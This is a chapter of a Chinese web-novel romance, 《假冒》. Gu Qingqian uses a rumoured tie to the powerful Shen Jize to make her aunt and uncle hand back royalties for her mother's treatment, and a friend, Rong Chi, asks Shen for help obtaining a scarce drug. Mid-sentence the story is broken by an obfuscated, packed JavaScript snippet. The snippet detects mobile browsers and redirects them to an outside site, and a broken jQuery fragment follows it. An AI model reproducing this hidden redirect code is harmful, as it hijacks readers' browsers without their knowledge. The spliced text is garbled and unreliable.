9. 巧合
作品:《假冒》 顾清浅慢吞吞地走在石子路上,每一步都像踏入棉花,虚浮得心慌。
刚刚在车里,沈季泽没说话到底是默许了,还是变相地拒绝了她的追求?
脑海里反复呈现男人浓密的眼睫,以及下面那双好看的眸子里翻涌的情绪,如同投入心湖的石子,在心底漾开层层涟漪。
推开家门时,往常总能准时跳出来奚落她的方怡竟不在,偌大的客厅空旷得能听见自己的呼吸声。
“浅浅回来了?”安姨端着茶水从厨房走出来,脚步放得很轻。
顾清浅从沙发上站起身,她四处观望了一下,道:“大伯他们人呢?”
安姨将茶水放在茶几上,看了一眼挂钟:“顾总和夫人去医院了,十分钟之前打过电话,这个时间点应该快回来了。”
去医院?去看张立然吗?还是……
正思忖着,玄关处传来声响,她抬眸望去,方怡和顾明山脸色铁青地走进来,她下意识站直身子,准备应对这场避免不了的交锋。
方怡连鞋都没换稳,尖锐的声音就刺破了寂静:“顾清浅,是不是你搞的鬼?张立然出车祸了。”
顾明山皱着眉,语气稍缓却带着不容置疑的审视。
“我没有……我没钱没车。”顾清浅抬起眼,一脸无辜:“怎么撞他?”
“你今天不是去找他了吗?肯定是你勾搭上了什么不三不四的男人!是不是裴家那小子?”方怡声音尖利:“为了躲联姻你什么事做不出来,先是说谎骗人,我们顾家白养你这么大,你就是这么恩将仇报的?”
“你……”顾清浅迎上方怡的眼神,攥着拳头一字一顿道:“我就是勾搭上了别的男人,他为了我撞的张立然,这样你们满意了吗?”
“你……”方怡伸出手就想要打她,想到刚刚到医院被张家指着鼻子骂的耻辱,她就气不打一处来。
“顾总,夫人,”安姨拎着一只白色包包从外面走进来,神色有些局促:“沈先生的助理刚才送来的,说是小姐的包包忘带了。”
“谁?”方怡像被按了暂停键,突然僵住。
“是位姓沈的先生,他说让我转告明天来接小姐去医院看望她母亲。”安姨轻声开口,眼睛意味深长地看了眼顾清浅。
客厅里霎时落针可闻。
方怡脸上的愤怒褪得一干二净,只剩下难以置信的惊惧,连顾明山都愣住了,手指无意识地摩挲着沙发扶手。
他们怎么也不敢相信,顾清浅勾搭上的会是沈季泽。
这怎么可能?而且沈季泽为什么还会特意提到来接顾清浅去医院看她妈妈?
他们是不是发现了什么?
明明私家侦探确定过了顾清浅等了他几个小时都没见上一面,那个在云端上的男人,怎么会看上她?
方怡依旧在喃喃自语:“不可能……一定是巧合……”
安姨真会胡扯,顾清浅偷偷和她对视了一眼,确实是巧合,沈季泽的司机不过是恰好在附近出了点小意外,却被她抓住了绝佳的时机。
她眼神盯着方怡,缓缓抬眼以退为进道:“我也不知道怎么回事,沈先生他……可能是和张立然有私仇吧。”
放屁。
方怡眯了眯眼和她对视,如果沈季泽和张立然有私仇,绝对不可能是车祸这种手段,他有的是法子折磨人。
而且张家和沈家也有合作,按理来说绝无私仇的可能。
方怡看着顾清浅那张狐媚子的脸,彻底乱了阵脚,嘴唇哆嗦着说不出话来。
想到妈妈转院需要钱,顾清浅干脆趁机提钱:“大伯母,你之前说过,我的版权费一直替我存着,我现在需要那笔钱,麻烦你尽快打到我卡上。”
方怡一口气堵在喉咙里,几乎要晕厥过去。
她怎么也没想到,这个平日里任她拿捏的丫头,竟然敢用沈季泽来压她,还敢当众提版权费的事。
当初说是说了,但那全是骗她的。
顾明山皱着眉,眼神在顾清浅脸上来回扫视,似乎想从她平静的表情里看出些破绽。
沈季泽是什么人物?
那是连他都要仰望的存在,顾清浅怎么可能攀得上这样的高枝?
可刚才安姨明明说了是沈先生的助理送包来,这又让他不得不多了几分忌惮。
“清浅,沈先生那样的人物,不是你能随便攀附的,不要丢了我们顾家的人。”顾明山的语气沉了沉,试图找回几分当长辈的威严。
顾清浅冷着脸:“以前你不是想让堂姐嫁给沈先生吗?为什么不是我能随便攀附的?”
说完,她抬眼看向方怡:“至于版权费,那本就是我的东西,我现在要用,大伯母不会赖账的吧?”
方怡被她堵得哑口无言,心里又气又怕。
她确实私吞了顾清浅承诺过的版权费,本以为这丫头懦弱,永远不会跟她要,可现在她竟然借着沈季泽的名头逼上门来。
要是真把沈季泽牵扯进来,别说那点版权费,恐怕他们在顾家的地位都要保不住了。
她踉跄着后退一步,看向顾明山,眼神里满是慌乱。
顾明山的脸色也难看至极,沉默了半晌,才对着方怡厉声道:“还不快去把钱给清浅转过去!”
方怡咬着牙,狠狠瞪了顾清浅一眼,不甘心地转身走向书房。
顾清浅看着她的背影,顾清浅心里涌起一丝心虚,但想到病床上的妈妈,她又攥紧了拳头。
她不擅长说谎,现在不仅卑劣地假冒别人,甚至还要自私地编造和沈先生的关系……
可眼下,她已经没有了退路,也顾不了那么多了,她只想拿回属于自己的东西,只想让妈妈得到最好的治疗,只想彻底摆脱顾家这令人窒息的控制。
至于沈季泽……
她闭上眼,脑海里又浮现出男人那双深邃的眸子,心里乱成了一团麻。
*
看着手机屏幕上银行到账的短信提示,顾清浅指尖微颤,点开与容凡的对话框,发去一条消息。
顾清浅:【请问容迟哥哥有回复吗?】
几乎是秒回,容凡的消息弹了出来:
【苏伯威大学医院新研制出一种神经系统的特效药,治疗费加上跨国医疗转运的费用,总共需要八百万。】
顾清浅垂着头,目光死死盯着那串八百万的数字,指节因为用力攥着手机而泛白。
心头像是被一只无形的手攥紧,焦急瞬间在心间蔓延,她手里只有三百万,这五百万的缺口如同鸿沟横在眼前。
正失神间,手机突然响起,屏幕上跳动着容迟的名字。
她深吸一口气接起,听筒那边传来容迟温润沉稳的声音:“清浅。”
“容迟哥哥。”顾清浅声音有些生疏。
“你先别担心。”容迟的语气里带着安抚:“我正在申请特效药的使用名额,一有消息,我第一时间告诉你。”
“好,麻烦你了,容迟哥哥。”顾清浅的声音低了几分,满是感激。
“你……过得不好,为什么从来不肯告诉我们?”容迟的声音沉了沉,带着几分不易
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143314|180464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
察觉的责备与心疼:“若不是凡凡这次回国,你是不是就打算这样一个人扛下去?”
“啊?”顾清浅猛地一愣,这突如其来的关心像一股暖流,瞬间冲垮了她所有的防备。
她不太爱哭,可此刻,积压已久的委屈与无助再也绷不住,声音哽咽着带上了哭腔:“容迟哥哥……”
容迟听着电话那头压抑的抽泣,喉结轻滚一下,不论是他还是旁边跟着听电话的容凡,心里都不是滋味。
挂断电话后,容迟转头看向一旁的容凡,眉头微蹙:“你也该改改你那臭脾气了,当年的事,值得你跟清浅闹到现在?”
“我发誓,我找过她的!整整一年,是她不理我!”容凡立刻炸毛,举起三根手指作势要发誓,脸上满是委屈。
容迟眼神沉了沉,语气冷了几分:“顾家那对夫妻,包藏祸心这么多年,实在是可恶。”
“哥。”容凡忽然凑近一步:“要不……你娶了清浅吧?这样既能护着她,也省得我看着她受委屈心里难受。”
更重要的是,不要让她那种单纯的人被逼得走投无路去勾引沈季泽那种坏男人。
容迟低斥一声,耳尖却红了:“胡说什么。”
*
Dom酒吧,灯光摇曳,酒精浓郁。
沈季泽刚落座,对面的容迟便抬了抬下巴,唇角勾着笑意:“沈总可是大忙人,能把您请动可不容易。”
沈季泽拿起桌上的酒杯,语气平淡:“有事说事。”
容迟身子微微前倾,手肘支在膝盖上,开门见山道:“听说沈氏早年投资过国外的医学实验室?”
“嗯。”沈季泽浅尝一口酒,语气淡淡的。
容迟忽然靠了过去,伸手揽住他的肩膀:“那正好帮个忙,我一个朋友的母亲,急需苏泊威大学医院一款特效药的名额,您能不能通融通融?”
“嗯。”沈季泽应得干脆,眼皮都没抬一下。
容迟眼底瞬间漾开笑意,松了手直起身:“谢了兄弟,这情我记下了,我那副明代的《望秋山图》归你了。”
沈季泽这才抬眼,眉梢挑了挑:“什么朋友这么金贵,值得你把压箱底的宝贝都豁出去?”
“也不是朋友。”容迟指尖在杯口轻轻敲着:“应该算是妹妹,挺可怜的,做哥哥的,总不能看着不管,麻烦你了兄弟。”
“倒是没看出来,容总还是个感性的。”沈季泽嗤笑一声。
容迟仰头喝了一口酒,脸上挂着浅淡的红晕,他视线有些飘忽,忽然问:“你听过女孩子哭吗?是什么感觉?”
“烦。”沈季泽回答得毫不犹豫。
“我也这么觉得。”容迟低下头,唇边浮起一抹复杂的笑,声音压得低了些,“可听到她哭的时候,心里却像被什么东西扎了下,疼。”
“你恶不恶心。”沈季泽嫌恶地皱了皱眉,却还是举起酒杯碰了碰他的。
突然间,他脑海中也出现一张眼眶含泪的小脸,睫毛被泪水浸湿,颤巍巍地忽闪着,每一下都如同刷子般轻拂心尖。
“这不拿你当兄弟才说的掏心窝子话么。”容迟笑着仰头饮尽杯中酒,又给两人续上:“今儿真是多谢了,今晚不醉不归。”
话音刚落,他口袋里的手机震了震,弹出一条语音消息。
容迟随手点开,却没留意碰开了外放——
听筒里传来女孩带着鼻音很是好听的声音:“容迟哥哥,谢谢你……我有钱的。”
话音未落,“哐当”一声酒杯摔地的脆响传入耳边。